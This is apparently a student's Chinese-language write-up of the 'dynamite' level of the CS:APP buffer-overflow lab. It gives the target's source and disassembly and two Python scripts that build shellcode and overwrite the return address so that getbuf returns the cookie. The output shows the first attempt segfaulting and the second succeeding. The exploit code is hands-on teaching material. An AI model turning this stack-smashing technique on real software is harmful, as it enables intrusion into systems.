dynamite关卡和之前的不同,之前是要求跳转到其他地方执行,而这一关则是返回test函数继续执行.

test源码如下

void test() { unsigned long long val; volatile unsigned long long local = 0xdeadbeef; char* variable_length; entry_check(3); /* Make sure entered this function properly / val = getbuf(); if (val <= 40) { variable_length = alloca(val); } entry_check(3); / Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%llx\n", val); if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } validate(3); } else { printf("Dud: getbuf returned 0x%llx\n", val); } }

可以看到,上一关bang时,是验证一个全局变量是否和cookie相等.

而test函数中,判断getbuf的返回值val是否和cookie相等.

test函数验证了local变量,而loacl为volatile型,在调用其他函数时能被修改

test函数反汇编如下

08048c7f <test>: 8048c7f: 55 push %ebp 8048c80: 89 e5 mov %esp,%ebp 8048c82: 53 push %ebx 8048c83: 83 ec 24 sub $0x24,%esp 8048c86: e8 a5 fe ff ff call 8048b30 <uniqueval> 8048c8b: 89 45 f4 mov %eax,-0xc(%ebp) 8048c8e: e8 71 ff ff ff call 8048c04 <getbuf> 8048c93: 89 c3 mov %eax,%ebx 8048c95: e8 96 fe ff ff call 8048b30 <uniqueval> 8048c9a: 8b 55 f4 mov -0xc(%ebp),%edx 8048c9d: 39 d0 cmp %edx,%eax 8048c9f: 74 0e je 8048caf <test+0x30> 8048ca1: c7 04 24 a8 a0 04 08 movl $0x804a0a8,(%esp) 8048ca8: e8 93 fc ff ff call 8048940 <puts@plt> 8048cad: eb 36 jmp 8048ce5 <test+0x66> 8048caf: 3b 1d e4 c1 04 08 cmp 0x804c1e4,%ebx 8048cb5: 75 1e jne 8048cd5 <test+0x56> 8048cb7: 89 5c 24 04 mov %ebx,0x4(%esp) 8048cbb: c7 04 24 13 9f 04 08 movl $0x8049f13,(%esp) 8048cc2: e8 19 fc ff ff call 80488e0 <printf@plt> 8048cc7: c7 04 24 03 00 00 00 movl $0x3,(%esp) 8048cce: e8 11 04 00 00 call 80490e4 <validate> 8048cd3: eb 10 jmp 8048ce5 <test+0x66> 8048cd5: 89 5c 24 04 mov %ebx,0x4(%esp) 8048cd9: c7 04 24 30 9f 04 08 movl $0x8049f30,(%esp) 8048ce0: e8 fb fb ff ff call 80488e0 <printf@plt> 8048ce5: 83 c4 24 add $0x24,%esp 8048ce8: 5b pop %ebx 8048ce9: 5d pop %ebp 8048cea: c3 ret

可以看到getbuf之后的语句为0x8048c93. 返回值应该保存到%eax中. 简单的想法.于是利用上一关的代码稍加修改得到代码exploit4.py如下

shellcode = '\xb8\xa5\x8d\xa2\x70'+'\xc3'

mov $0x70a28da5,%eax

ret

shellcode= shellcode + (40 - len(shellcode))*'a' shellcode = shellcode +'\x20\x37\x68\x55' + '\xc8\x36\x68\x55'+'\x93\x8c\x04\x08'

saved %ebp

ret buf

ret getbuf next

print shellcode

cookie :0x70a28da5

buf 0x556836c8

test #0x08048c7f

#getbuf next 08048c93

local 0xdeadbeef

但是执行的结果为

$ ./bufbomb -u 123 < dynamite.txt

Userid: 123 Cookie: 0x70a28da5 Type string:Boom!: getbuf returned 0x70a28da5 VALID NICE JOB! Ouch!: You caused a segmentation fault! Better luck next time

个人理解为,因为使用两次ret会导致 段错误...所以改进后的方法如下.

exploit4.py

shellcode = '\xb8\xa5\x8d\xa2\x70'+'\x68\x93\x8c\x04\x08'+'\xc3'

mov $0x70a28da5,%eax

push $0x08048c93

ret

shellcode= shellcode + (40 - len(shellcode))*'a' shellcode = shellcode + '\x20\x37\x68\x55' + '\xc8\x36\x68\x55'

saved %ebp

ret buf

print shellcode

cookie :0x70a28da5

buf 0x556836c8

test #0x08048c7f

getbuf next 08048c93

local 0xdeadbeef

push返回地址后ret而不是直接ret,在后面覆盖地址.结果没有segmentation fault

$ python exploit4.py >dynamite.txt $ ./bufbomb -u 123 < dynamite.txt Userid: 123 Cookie: 0x70a28da5 Type string:Boom!: getbuf returned 0x70a28da5 VALID NICE JOB!